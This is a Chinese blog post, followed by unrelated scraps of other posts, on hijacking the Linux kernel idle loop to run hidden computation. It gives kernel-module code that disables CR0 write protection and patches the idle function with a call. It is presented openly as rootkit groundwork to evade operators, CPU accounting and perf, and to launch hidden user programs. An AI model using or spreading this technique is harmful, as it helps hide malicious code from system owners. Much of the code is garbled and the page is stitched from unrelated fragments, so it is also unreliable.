劫持Linux idle程序做點自己的計算任務

2021-10-05 17:41:05 字數 3272 閱讀 3961

前面談過如何隱藏乙個程序,我說過,隱藏procfs介面那無異於掩耳盜鈴,正確的做法應該是將task_struct從任何鍊錶中摘除,僅僅保留於run queue。

但cpu利用率會暴露你隱藏的程序…

於是hook掉cpu記賬介面…

但是…於是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防禦手稍微佔優勢。

其實,還有乙個好辦法,即劫持idle,這樣我們甚至可以不用管cpu記賬程式,idle多當然好啊,運維們不正期望idle多嗎?idle多沒人會去perf的吧…

測試**如下:

#include

#include

#include

char

*stub;

char

*addr =

null

;static

unsigned

long base =0;

void

test_stub1

(void)if

(jiffies %

0xf==0)

local_irq_enable()

;local_bh_enable()

;}#define ftrace_size 5

#define poke_offset 0

#define poke_length 5

unsigned

char

*idle;

unsigned

long cr0;

static

int __init hotfix_init

(void

) cr0 =

read_cr0()

;clear_bit(16

,&cr0)

;memcpy

(&addr[poke_offset]

, e8_call, poke_length)

;set_bit(16

,&cr0)

;write_cr0

(cr0)

;return0;

}static

void __exit hotfix_exit

(void

)module_init

(hotfix_init)

;module_exit

(hotfix_exit)

;module_license

("gpl"

);

需要注意的是,計算任務不能睡眠,不能schedule,不能太太太繁重,以免被perf發現。其實,如果機器在機房,電源風扇的轟鳴是可以掩蓋cpu風扇的,不過液冷的話就要另想辦法了。

我們看下效果吧。我用虛擬機器測試,下面左邊是宿主機,右邊是虛擬機器,沒有劫持idle時的cpu利用率如下:

下面是劫持後的:

雖然右邊虛擬機器的cpu依然幾乎全部都是idle,和未劫持時沒有差別,然而宿主機的能耗騙不了人。筆記本的風扇雜訊在加大,以至於我不得不用macs fan control將風扇轉速調低,然而鋁殼正在變得發燙。

哪個是真的,哪個是假的,假亦真時真亦假…

我倒是覺得,idle作為rootkit的根據地還是非常不錯,如果你想執行一些真正的任務,那就call usermodehelper唄,只要確保這個helper完成任務及時退出就行。

#include

#include

#include

char

*stub;

char

*addr =

null

;static

unsigned

long base =0;

static

unsigned

long last =0;

void

test_stub1

(void)if

(jiffies %

0xf==0)

local_irq_enable()

;local_bh_enable()

;#endif

//if (jiffies % 1000 == 0 && last != jiffies)

}#define ftrace_size 5

#define poke_offset 0

#define poke_length 5

unsigned

char

*idle;

unsigned

long cr0;

static

int __init hotfix_init

(void

) cr0 =

read_cr0()

;clear_bit(16

,&cr0)

;memcpy

(&addr[poke_offset]

, e8_call, poke_length)

;set_bit(16

,&cr0)

;write_cr0

(cr0)

;return0;

}static

void __exit hotfix_exit

(void

)module_init

(hotfix_init)

;module_exit

(hotfix_exit)

;module_license

("gpl"

);

run的**如下:

#include

intmain

(int argc,

char

**ar**)

效果就是在系統壓力不大時,每隔大約1秒中在/dev/pts/0終端列印一串a。

如果run程式執行時間在作為human being的運維人員和經理的視角轉瞬即逝的話,同時run又是乙個隱藏檔案的話,試問如何發現誰打出的a呢?

運維和經理打字敲回車以及他們的蛋白質眼睛無法分辨200ms以下的事件。

正如所料,接下來,我要對perf動手了。

浙江溫州皮鞋溼,下雨進水不會胖。

iOS DNS防劫持一點記錄

dns 概念 dns 網域名稱解析系統,解析成相應的伺服器ip,dns劫持是指在劫持的網路範圍內攔截網域名稱解析的請求,分析請求的網域名稱 由於dns請求報文是明文狀態,可能在請求過程被監測,然後偽裝dns伺服器傳送帶有假ip位址的響應報文,從而使主機訪問假的伺服器。localdns localdn...

關於做點什麼

失業了,混沌了好久,挺沒出息的,畢竟做了快四年的棋牌,公司解散了,又碰上了疫情,閒著在家一段時間,也沒思考好究竟要做什麼。今天跟老王出去喝咖啡聊了段時間。再次否定了之前自己的決定,原先是打算隨便找份工作然後再轉u3d或者其他,現在想想還是直接轉吧。既然直接轉,那麼就要有作品,畢竟之前只是用u3d做了...

今天做點啥呦

明天老師就開始講html,聽說拿東西不太難.還是複習一下dao模式的許可權管理吧 唉 要不寫個網路版本的許可權管理吧 怎麼開始呢.恩 先要有個伺服器監聽客戶的要求,客戶端要有服務表,伺服器一旦啟動就靠static塊來註冊服務.服務的啟動通過通用工廠模式來啟動,就是給工廠類傳個名字,叫他自己找到服務的...